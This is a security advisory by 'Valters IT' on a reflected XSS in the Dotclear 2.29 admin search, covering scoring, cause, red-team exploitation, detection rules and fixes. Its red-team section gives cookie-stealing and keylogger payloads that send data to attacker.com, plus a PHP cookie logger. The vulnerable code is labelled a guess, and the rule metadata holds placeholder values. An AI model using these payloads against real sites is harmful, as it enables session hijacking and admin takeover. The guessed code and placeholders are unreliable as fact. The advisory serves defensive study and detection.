CVE-2024-27626

Executive Summary

CVE-2024-27626 identifies a Reflected Cross-Site Scripting (XSS) vulnerability in Dotclear version 2.29, specifically within the Search functionality of the Admin Panel. This flaw allows an authenticated attacker (or an attacker who can trick an authenticated admin into clicking a crafted link) to inject arbitrary JavaScript into the admin interface. The injected script executes in the context of the victim's session, potentially leading to session hijacking, admin account takeover, or further compromise of the Dotclear instance.

The vulnerability is classified as a Reflected XSS (CWE-79) with a CVSS v3.1 base score of 6.1 (Medium). The attack vector is network-based, requires low complexity, and necessitates user interaction (clicking a malicious link). The impact is limited to confidentiality and integrity of the admin session, with no direct impact on availability.

Key Risk: An attacker can leverage this to steal admin session cookies, perform actions on behalf of the admin, or inject malicious content into the admin panel, potentially leading to full site compromise.

Supply Chain & Package Security

Dotclear is a PHP-based open-source blogging platform. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their Dotclear installation by checking file hashes against the official release. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (admin panel).
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., inject malicious content).
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation within the admin panel elevates the risk for organizations using Dotclear.

Deep Dive & Mechanics

The vulnerability resides in the search functionality of the Dotclear admin panel. When an admin performs a search, the search query parameter is reflected in the response page without proper sanitization or encoding. An attacker can craft a URL containing a malicious JavaScript payload in the search parameter. If an authenticated admin clicks this link, the script executes in the context of the admin's session.

Root Cause: The application fails to escape or encode user-supplied input before rendering it in the HTML output. Specifically, the q parameter (or similar) in the search URL is directly echoed into the page without using htmlspecialchars() or equivalent PHP functions.

Attack Flow:

1. Attacker crafts a malicious URL: http://target.com/admin/index.php?process=Search&q=<script>alert('XSS')</script>
2. Attacker sends this link to an authenticated admin via email, social engineering, or other means.
3. Admin clicks the link while logged into Dotclear.
4. The browser executes the injected JavaScript.
5. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Affected Component: admin/index.php (Search process). The vulnerable code likely looks like:

echo '<p>Search results for: ' . $_GET['q'] . '</p>';

Vulnerable vs. Patched Code

Vulnerable Code (Dotclear 2.29):

// admin/search.php (or similar)
$search_term = $_GET['q'];
echo '<div class="search-results">';
echo 'Results for: ' . $search_term;
echo '</div>';

Patched Code (Hypothetical Fix):

// admin/search.php
$search_term = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo '<div class="search-results">';
echo 'Results for: ' . $search_term;
echo '</div>';

Explanation: The patched code uses htmlspecialchars() to convert special HTML characters (<, >, ", ', &) into their HTML entities, preventing script injection. The ENT_QUOTES flag ensures both single and double quotes are encoded.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Dotclear 2.29 instance (e.g., local Docker setup).
• An admin account (or ability to phish an admin).

Exploitation Steps:

1. Craft the malicious URL:

   http://target.com/admin/index.php?process=Search&q=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

2. Host a cookie stealer (e.g., steal.php):

   <?php
   $cookie = $_GET['c'];
   file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
   ?>
   

3. Send the link to the admin via email or social engineering.

4. Wait for the admin to click – the cookie will be sent to your server.

5. Use the stolen cookie to impersonate the admin:

   curl -b "dotclear_session=STOLEN_COOKIE" http://target.com/admin/index.php
   

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /admin/index.php with process=Search and suspicious q parameters containing <script>, onerror, javascript:, etc.
• Use WAF rules to block XSS patterns in query strings.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/admin/index.php" uri_query="*process=Search*"
| rex field=uri_query "q=(?<search_term>[^&]+)"
| where match(search_term, "(?i)<script|onerror|onload|javascript:")
| table _time, clientip, uri, search_term

Prevention:

• Apply input validation and output encoding (see Remediation).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HttpOnly and Secure flags on session cookies.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/index.php with process=Search and q parameter containing encoded or raw JavaScript.
• Outbound connections from the Dotclear server to unknown IPs on ports 80/443 (potential data exfiltration).

File IOCs:

• Suspicious entries in web server access logs (e.g., GET /admin/index.php?process=Search&q=%3Cscript%3E...).
• Modified Dotclear core files (e.g., admin/search.php) if the attacker achieved code execution.

Behavioral IOCs:

• Unusual admin actions (e.g., creating new admin accounts, modifying site content) originating from a single session.
• Multiple failed login attempts followed by a successful login from a new IP (session hijacking).

Detection Engineering

YARA Rule

rule dotclear_reflected_xss_cve_2024_27626 {
    meta:
        description = "Detects reflected XSS attempts against Dotclear admin search"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27626"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss_pattern1 = /q=.*<script/i
        $xss_pattern2 = /q=.*onerror/i
        $xss_pattern3 = /q=.*javascript:/i
        $uri_path = "/admin/index.php"
    condition:
        $uri_path and any of ($xss_pattern*)
}

Sigma Rule

title: Dotclear Admin Search Reflected XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-27626 via reflected XSS in Dotclear admin search
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27626
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-path: "/admin/index.php"
        cs-uri-query|contains: "process=Search"
        cs-uri-query|re: "(?i)(q=.*<script|q=.*onerror|q=.*javascript:)"
    condition: selection
falsepositives:
    - Legitimate search terms containing "script" (e.g., "JavaScript tutorial")
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27626 - Dotclear Admin Search Reflected XSS Attempt"; flow:to_server,established; content:"/admin/index.php"; http_uri; content:"process=Search"; http_uri; pcre:"/(?i)(q=.*<script|q=.*onerror|q=.*javascript:)/U"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the search functionality in the admin panel until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block XSS patterns in the q parameter.
3. Review admin access logs for signs of exploitation.

Long-Term Fix:

• Apply output encoding to all user-supplied input reflected in the admin panel. The vendor should release a patched version (e.g., 2.30) that includes proper sanitization.
• As a workaround, manually patch the vulnerable file:

  // In admin/search.php (or similar)
  $search_term = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
  

Additional Hardening:

• Set session.cookie_httponly = 1 and session.cookie_secure = 1 in php.ini.
• Implement Content Security Policy (CSP) header:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
  

• Regularly update Dotclear to the latest version.

Valters IT